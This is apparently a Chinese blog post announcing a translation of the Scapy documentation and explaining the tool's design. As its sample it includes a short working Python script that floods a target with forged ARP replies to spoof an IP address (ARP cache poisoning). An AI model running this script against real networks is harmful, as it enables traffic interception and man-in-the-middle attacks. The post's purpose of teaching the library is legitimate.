- A+
Larry | 2015-10-25 17:35
Scapy中文文档Github地址:https://github.com/Larryxi/Scapy_zh-cn
经常用Python搞网络协议编程的同学肯定对Scapy很熟悉。Scapy是一个Python应用程序,它可以使用户发送,嗅探,剖析和伪造数据包,也可以用来构造探测,扫描或攻击的网络工具。
和其他的网络工具相比,Scapy的特殊之处在于:
1. 大多数的网络工具都是用于特殊目的,你不能用来做一些作者没有预想到事。(废话)而且当你需要用于其他目的的时候你又要寻找另一个新工具了。(编程)
2. Scapy只是解码而不是解释。很多时候他们都把解码和解释混为一谈,解码出来的是真正在网络上传输的数据,而解释是又加了一层人的理解,每个人的目的和理解的角度不同,就有可能得到不同的结果,也就让想要打破砂锅问到底的你追求不到本质。(溯源)
3. 有些程序给原始数据也给得不全,因为还是有一些作者意识在上面。(完整性)
所以想要透彻地理解网络协议就得去看实实在在的数据包,对这些数据包进行分析理解,加上你的“解释”去编程,相信是会有更加深层次的理解的:)
一个简单的例子(from:Python网络攻防之第二层攻击):
#!/usr/bin/python
import sys
import time
from scapy.all import sendp, ARP, Ether
if len(sys.argv) < 3:
print sys.argv[0] + ": <target> <spoof_ip>"
sys.exit(1)
iface = "eth0"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]
ethernet = Ether()
arp = ARP(pdst=target_ip,
psrc=fake_ip,
op="is-at")
packet = ethernet / arp
while True:
sendp(packet, iface=iface)
time.sleep(10)
因为要学习Scapy,所以就把使用文档简单翻译了一下,也算是文档翻译了吧,希望对学习的同学有所帮助,如有错误还请指出哈。
$("img").load(function(){ if($(this).attr("width")>640) $(this).attr("width",640); });